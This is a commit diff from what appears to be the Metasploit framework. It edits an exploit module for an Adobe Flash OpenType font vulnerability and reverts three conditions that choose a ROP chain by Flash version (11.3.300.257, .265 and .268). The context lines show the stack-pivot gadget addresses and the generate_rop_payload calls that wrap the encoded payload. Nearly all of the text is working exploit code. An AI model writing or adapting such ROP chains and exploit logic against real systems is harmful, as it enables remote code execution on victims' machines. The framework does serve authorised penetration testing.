undo logic changes in adobe_flas_otf_font
parent
44e1fefa2e
commit
d70308f76e
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return p
|
return p
|
||||||
end
|
end
|
||||||
|
|
||||||
if !t['ASLR'] && datastore['ROP'] == 'SWF' && flash_version =~ /11,3,300,257/
|
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
|
||||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||||
pivot = [
|
pivot = [
|
||||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||||
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
|
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
|
||||||
|
|
||||||
elsif !t['ASLR'] && datastore['ROP'] == 'SWF' && flash_version =~ /11,3,300,265/
|
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
|
||||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||||
pivot = [
|
pivot = [
|
||||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||||
|
@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
|
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
|
||||||
|
|
||||||
elsif !t['ASLR'] && datastore['ROP'] == 'SWF' && flash_version =~ /11,3,300,268/
|
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
|
||||||
print_status("Using Rop Chain For Flash: #{flash_version}")
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
||||||
pivot = [
|
pivot = [
|
||||||
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
||||||
|
|
Loading…
Reference in New Issue